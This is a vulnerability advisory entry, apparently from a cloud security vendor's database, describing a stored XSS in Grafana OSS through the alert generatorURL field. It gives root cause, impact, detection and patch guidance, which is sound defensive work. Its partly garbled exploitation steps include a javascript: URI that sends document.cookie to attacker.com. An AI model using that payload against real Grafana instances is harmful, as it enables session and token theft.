
Cloud Vulnerability DB
A community-led vulnerabilities database
CVE-2026-17033 is a stored Cross-Site Scripting (XSS) vulnerability in Grafana OSS that allows an authenticated attacker with Editor access or the alert.instances.external:write permission to inject malicious JavaScript into the Grafana web application via a crafted external Alertmanager alert. The vulnerability was published on August 24, 2026, and affects Grafana OSS versions up to and including 12.3.11, 12.4.0–12.4.9, and 13.0.0–13.0.7. It carries a CVSS v3.1 base score of 6.8 (Medium) (GitHub Advisory, Grafana Advisory).
The root cause is improper neutralization of user-controlled input during web page generation (CWE-79). Grafana renders the alert.generatorURL field from external Alertmanager alerts directly as the href attribute of the "See source" LinkButton in the Alert Details view, without applying URL-scheme sanitization or enforcing a safe-protocol allowlist. The existing click interceptor attempts to detect unsafe URLs using a :// heuristic, but this check can be bypassed by embedding :// inside a JavaScript comment within the payload (e.g., javascript:/*://*/alert(1)). When a victim user with read access clicks the "See source" link, the browser executes the attacker-controlled JavaScript in the Grafana origin with the victim's session permissions (GitHub Advisory, Grafana Advisory).
Successful exploitation allows the attacker to execute arbitrary JavaScript in the browser of any Grafana user who clicks the malicious "See source" link, operating under that user's permissions and session context. This can result in high confidentiality impact — including theft of sensitive dashboard data, API keys, or session tokens visible to the victim — as well as low integrity and availability impacts through unauthorized modification of settings or data. The attack is scoped to the Grafana origin and does not directly enable lateral movement to other systems, but stolen credentials or tokens could facilitate further compromise (GitHub Advisory, Grafana Advisory).
No public proof-of-concept exploit code is known to exist, and there is no evidence of in-the-wild exploitation at this time. The EPSS score is 0.0, and the vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires an authenticated attacker with at least Editor-level access or the alert.instances.external:write permission, and also requires a victim user to click the malicious "See source" link, making automated exploitation unlikely (GitHub Advisory, Grafana Advisory).
alert.instances.external:write permission on the target Grafana instance.generatorURL field contains a JavaScript URI that bypasses the :// heuristic, for example: javascript:/*://*/fetch('https://attacker.com/?c='+document.cookie).generatorURL.LinkButton, the browser resolves the javascript: URI./api/alertmanager/) from Editor-level accounts submitting alerts with unusual or encoded generatorURL values; browser console errors related to JavaScript URI execution in Grafana.generatorURL values beginning with javascript: or containing obfuscated JavaScript comment patterns (e.g., /*://*/).Grafana has released patches addressing this vulnerability; users should upgrade Grafana OSS to versions beyond 12.3.11 (patch branch), 12.4.9 (12.4.x branch), or 13.0.7 (13.0.x branch) as referenced in the security advisory. Until patching is possible, administrators should restrict Editor access and the alert.instances.external:write permission to only fully trusted users, and educate users to exercise caution when clicking "See source" links on alerts from unfamiliar sources. Disabling external Alertmanager alert ingestion where not required is an additional risk-reduction measure (Grafana Advisory, GitHub Advisory).
Source: This report was generated using AI
Free Vulnerability Assessment
Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.
Get a personalized demo
"Best User Experience I have ever seen, provides full visibility to cloud workloads."
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
"We know that if Wiz identifies something as critical, it actually is."